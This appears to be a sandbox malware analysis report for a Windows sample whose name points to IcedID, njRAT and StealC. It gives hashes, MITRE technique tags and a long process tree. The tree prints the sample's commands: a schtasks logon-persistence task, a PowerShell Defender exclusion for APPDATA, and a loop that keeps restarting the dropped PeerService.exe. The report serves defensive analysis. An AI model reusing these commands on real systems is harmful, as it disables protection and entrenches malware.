1e2e7d51c0fee445faa136079b6c11abd19a9e8d75819452cad81e58bac6dfb3

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/04/2026, 15:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-15_30adb69fad2a4105f2ce140cd12df0f6_icedid_njrat_stealc.exe
Size 5.2MB
Sample260415-sj3bjadv2x
SHA256 1e2e7d51c0fee445faa136079b6c11abd19a9e8d75819452cad81e58bac6dfb3
MD5 30adb69fad2a4105f2ce140cd12df0f6
SHA1 c4e7bd1b7653b52ed638f5faf2f9bd710e11eda4
SHA512 20e4354dae514f864aa1de0344e3ecfc390b5df70040d65261e0273480ae006a53f91df52c5b706d9662cbf5ffd4b477535cff04df63a06f8e282b1709028edf
SSDEEP 98304:e+hBp75lKkBoWGoqZ92yVG/uzGNV9HkAVHL/DKmFfCVQh:e+hBtOkhByQyVG/uzGNVyAl3K8fCGh
TLSH
T10046F16B726901E8E1BFD17CC9065907EBB2780543A0A7CF12E056A62F77BE14E3E711
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3672	powershell.exe
1728	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3144	PeerService.exe
1052	PeerService.exe

Enumerates processes with tasklist 1 TTPs 60 IoCs

discovery

Process Discovery

T1057

pid	Process
4420	tasklist.exe
1456	tasklist.exe
3092	tasklist.exe
4144	tasklist.exe
4760	tasklist.exe
4432	tasklist.exe
4684	tasklist.exe
1884	tasklist.exe
4588	tasklist.exe
2424	tasklist.exe
4324	tasklist.exe
3764	tasklist.exe
4300	tasklist.exe
4684	tasklist.exe
2520	tasklist.exe
4916	tasklist.exe
2128	tasklist.exe
884	tasklist.exe
4484	tasklist.exe
2592	tasklist.exe
3940	tasklist.exe
1824	tasklist.exe
2916	tasklist.exe
5096	tasklist.exe
3880	tasklist.exe
3184	tasklist.exe
2708	tasklist.exe
720	tasklist.exe
888	tasklist.exe
2332	tasklist.exe
1456	tasklist.exe
780	tasklist.exe
2268	tasklist.exe
3916	tasklist.exe
1304	tasklist.exe
2504	tasklist.exe
3252	tasklist.exe
4808	tasklist.exe
688	tasklist.exe
4636	tasklist.exe
2132	tasklist.exe
3960	tasklist.exe
4428	tasklist.exe
1992	tasklist.exe
228	tasklist.exe
4312	tasklist.exe
1324	tasklist.exe
2980	tasklist.exe
1480	tasklist.exe
3364	tasklist.exe
2176	tasklist.exe
4936	tasklist.exe
3676	tasklist.exe
3384	tasklist.exe
1332	tasklist.exe
2736	tasklist.exe
2444	tasklist.exe
2192	tasklist.exe
2244	tasklist.exe
2964	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 60 IoCs

defense_evasion

pid	Process
2520	timeout.exe
4420	timeout.exe
4544	timeout.exe
2548	timeout.exe
4212	timeout.exe
2400	timeout.exe
4116	timeout.exe
3588	timeout.exe
2540	timeout.exe
2492	timeout.exe
4308	timeout.exe
4112	timeout.exe
2828	timeout.exe
1732	timeout.exe
2764	timeout.exe
2072	timeout.exe
656	timeout.exe
4916	timeout.exe
4924	timeout.exe
724	timeout.exe
1316	timeout.exe
2064	timeout.exe
1232	timeout.exe
788	timeout.exe
4284	timeout.exe
4048	timeout.exe
4204	timeout.exe
2176	timeout.exe
3840	timeout.exe
1276	timeout.exe
3424	timeout.exe
1928	timeout.exe
5016	timeout.exe
1580	timeout.exe
3380	timeout.exe
4764	timeout.exe
1708	timeout.exe
3272	timeout.exe
552	timeout.exe
4900	timeout.exe
2972	timeout.exe
3992	timeout.exe
5024	timeout.exe
2884	timeout.exe
2444	timeout.exe
2824	timeout.exe
3888	timeout.exe
3864	timeout.exe
348	timeout.exe
4188	timeout.exe
1832	timeout.exe
2956	timeout.exe
1468	timeout.exe
4284	timeout.exe
912	timeout.exe
2324	timeout.exe
4776	timeout.exe
3240	timeout.exe
2312	timeout.exe
2736	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1856	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3672	powershell.exe
3672	powershell.exe
1728	powershell.exe
1728	powershell.exe

Suspicious use of AdjustPrivilegeToken 61 IoCs

description	pid	Process
Token: SeDebugPrivilege	3940	tasklist.exe
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeDebugPrivilege	2268	tasklist.exe
Token: SeDebugPrivilege	1728	powershell.exe
Token: SeDebugPrivilege	3916	tasklist.exe
Token: SeDebugPrivilege	1304	tasklist.exe
Token: SeDebugPrivilege	2192	tasklist.exe
Token: SeDebugPrivilege	3880	tasklist.exe
Token: SeDebugPrivilege	2424	tasklist.exe
Token: SeDebugPrivilege	2736	tasklist.exe
Token: SeDebugPrivilege	884	tasklist.exe
Token: SeDebugPrivilege	780	tasklist.exe
Token: SeDebugPrivilege	4300	tasklist.exe
Token: SeDebugPrivilege	5096	tasklist.exe
Token: SeDebugPrivilege	888	tasklist.exe
Token: SeDebugPrivilege	4684	tasklist.exe
Token: SeDebugPrivilege	2504	tasklist.exe
Token: SeDebugPrivilege	2980	tasklist.exe
Token: SeDebugPrivilege	2244	tasklist.exe
Token: SeDebugPrivilege	3676	tasklist.exe
Token: SeDebugPrivilege	1456	tasklist.exe
Token: SeDebugPrivilege	2520	tasklist.exe
Token: SeDebugPrivilege	3092	tasklist.exe
Token: SeDebugPrivilege	3252	tasklist.exe
Token: SeDebugPrivilege	4144	tasklist.exe
Token: SeDebugPrivilege	4760	tasklist.exe
Token: SeDebugPrivilege	4432	tasklist.exe
Token: SeDebugPrivilege	4916	tasklist.exe
Token: SeDebugPrivilege	3384	tasklist.exe
Token: SeDebugPrivilege	4324	tasklist.exe
Token: SeDebugPrivilege	4808	tasklist.exe
Token: SeDebugPrivilege	3764	tasklist.exe
Token: SeDebugPrivilege	2708	tasklist.exe
Token: SeDebugPrivilege	2332	tasklist.exe
Token: SeDebugPrivilege	4684	tasklist.exe
Token: SeDebugPrivilege	1824	tasklist.exe
Token: SeDebugPrivilege	2592	tasklist.exe
Token: SeDebugPrivilege	1332	tasklist.exe
Token: SeDebugPrivilege	1480	tasklist.exe
Token: SeDebugPrivilege	1456	tasklist.exe
Token: SeDebugPrivilege	3960	tasklist.exe
Token: SeDebugPrivilege	2444	tasklist.exe
Token: SeDebugPrivilege	4484	tasklist.exe
Token: SeDebugPrivilege	3364	tasklist.exe
Token: SeDebugPrivilege	1884	tasklist.exe
Token: SeDebugPrivilege	4428	tasklist.exe
Token: SeDebugPrivilege	688	tasklist.exe
Token: SeDebugPrivilege	2176	tasklist.exe
Token: SeDebugPrivilege	1992	tasklist.exe
Token: SeDebugPrivilege	2916	tasklist.exe
Token: SeDebugPrivilege	228	tasklist.exe
Token: SeDebugPrivilege	4588	tasklist.exe
Token: SeDebugPrivilege	4312	tasklist.exe
Token: SeDebugPrivilege	2128	tasklist.exe
Token: SeDebugPrivilege	2964	tasklist.exe
Token: SeDebugPrivilege	720	tasklist.exe
Token: SeDebugPrivilege	4936	tasklist.exe
Token: SeDebugPrivilege	1324	tasklist.exe
Token: SeDebugPrivilege	4636	tasklist.exe
Token: SeDebugPrivilege	2132	tasklist.exe
Token: SeDebugPrivilege	4420	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 3088	2096	2026-04-15_30adb69fad2a4105f2ce140cd12df0f6_icedid_njrat_stealc.exe	81
PID 3088 wrote to memory of 1856	3088	cmd.exe	83
PID 2096 wrote to memory of 3144	2096	2026-04-15_30adb69fad2a4105f2ce140cd12df0f6_icedid_njrat_stealc.exe	84
PID 3144 wrote to memory of 1256	3144	PeerService.exe	87
PID 3144 wrote to memory of 2728	3144	PeerService.exe	88
PID 1256 wrote to memory of 3672	1256	cmd.exe	93
PID 2728 wrote to memory of 3940	2728	cmd.exe	94
PID 2728 wrote to memory of 2712	2728	cmd.exe	96
PID 1052 wrote to memory of 1268	1052	PeerService.exe	95
PID 1052 wrote to memory of 1044	1052	PeerService.exe	97
PID 1268 wrote to memory of 1728	1268	cmd.exe	101
PID 1044 wrote to memory of 2268	1044	cmd.exe	102
PID 1044 wrote to memory of 4524	1044	cmd.exe	103
PID 2728 wrote to memory of 4204	2728	cmd.exe	104
PID 1044 wrote to memory of 2520	1044	cmd.exe	105
PID 2728 wrote to memory of 3916	2728	cmd.exe	106
PID 2728 wrote to memory of 1056	2728	cmd.exe	107
PID 2728 wrote to memory of 2956	2728	cmd.exe	108
PID 1044 wrote to memory of 1304	1044	cmd.exe	109
PID 1044 wrote to memory of 4420	1044	cmd.exe	110
PID 1044 wrote to memory of 3272	1044	cmd.exe	111
PID 2728 wrote to memory of 2192	2728	cmd.exe	112
PID 2728 wrote to memory of 3164	2728	cmd.exe	113
PID 2728 wrote to memory of 3992	2728	cmd.exe	114
PID 1044 wrote to memory of 3880	1044	cmd.exe	115
PID 1044 wrote to memory of 1916	1044	cmd.exe	116
PID 1044 wrote to memory of 4284	1044	cmd.exe	117
PID 2728 wrote to memory of 2424	2728	cmd.exe	118
PID 2728 wrote to memory of 3496	2728	cmd.exe	119
PID 2728 wrote to memory of 4916	2728	cmd.exe	120
PID 1044 wrote to memory of 3184	1044	cmd.exe	121
PID 1044 wrote to memory of 4428	1044	cmd.exe	122
PID 1044 wrote to memory of 4924	1044	cmd.exe	123
PID 2728 wrote to memory of 2736	2728	cmd.exe	124
PID 2728 wrote to memory of 1692	2728	cmd.exe	125
PID 2728 wrote to memory of 2176	2728	cmd.exe	126
PID 1044 wrote to memory of 884	1044	cmd.exe	127
PID 1044 wrote to memory of 4264	1044	cmd.exe	128
PID 1044 wrote to memory of 724	1044	cmd.exe	129
PID 2728 wrote to memory of 780	2728	cmd.exe	130
PID 2728 wrote to memory of 952	2728	cmd.exe	131
PID 2728 wrote to memory of 3840	2728	cmd.exe	132
PID 1044 wrote to memory of 4300	1044	cmd.exe	133
PID 1044 wrote to memory of 2508	1044	cmd.exe	134
PID 1044 wrote to memory of 552	1044	cmd.exe	135
PID 2728 wrote to memory of 5096	2728	cmd.exe	136
PID 2728 wrote to memory of 3420	2728	cmd.exe	137
PID 2728 wrote to memory of 4776	2728	cmd.exe	138
PID 1044 wrote to memory of 888	1044	cmd.exe	139
PID 1044 wrote to memory of 2332	1044	cmd.exe	140
PID 1044 wrote to memory of 1276	1044	cmd.exe	141
PID 2728 wrote to memory of 4684	2728	cmd.exe	142
PID 2728 wrote to memory of 1408	2728	cmd.exe	143
PID 2728 wrote to memory of 2884	2728	cmd.exe	144
PID 1044 wrote to memory of 2504	1044	cmd.exe	145
PID 1044 wrote to memory of 4864	1044	cmd.exe	146
PID 1044 wrote to memory of 3588	1044	cmd.exe	147
PID 2728 wrote to memory of 2980	2728	cmd.exe	148
PID 2728 wrote to memory of 232	2728	cmd.exe	149
PID 2728 wrote to memory of 3424	2728	cmd.exe	150
PID 1044 wrote to memory of 2244	1044	cmd.exe	151
PID 1044 wrote to memory of 4948	1044	cmd.exe	152
PID 1044 wrote to memory of 3380	1044	cmd.exe	153
PID 2728 wrote to memory of 3676	2728	cmd.exe	154

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-04-15_30adb69fad2a4105f2ce140cd12df0f6_icedid_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-15_30adb69fad2a4105f2ce140cd12df0f6_icedid_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3088
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1856
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3672
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3940
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2712
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4204
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3916
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1056
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2956
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2192
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3164
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3992
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2424
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3496
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4916
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2736
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1692
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2176
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:780
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:952
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3840
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5096
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3420
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4776
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4684
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1408
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2884
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2980
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:232
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3424
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3676
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:488
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1316
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2520
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5024
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4420
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3252
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4472
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1468
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4760
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3324
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4284
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4916
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4752
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2736
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4324
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5044
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3864
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3764
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2916
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:912
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2332
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:8
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4544
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1824
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2060
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4212
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1332
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3672
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2064
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1456
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1324
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4112
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2444
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1720
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1832
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3364
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2824
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2400
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4428
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4432
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1732
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2176
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3984
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2548
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2916
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4768
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5016
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4588
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4964
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2764
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2128
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2180
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4764
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:720
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1332
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2972
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1324
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2388
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4116
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2132
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3656
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:788

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1052
- C:\Windows\system32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1728
- C:\Windows\system32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1044
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2268
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4524
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2520
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1304
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4420
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3272
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3880
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1916
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4284
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3184
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4428
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4924
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:884
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4264
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:724
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4300
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2508
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:552
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:888
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2332
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1276
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2504
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4864
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3588
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2244
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4948
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3380
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1456
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1324
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2444
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3092
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1832
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2824
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4144
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2304
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3240
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4432
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4552
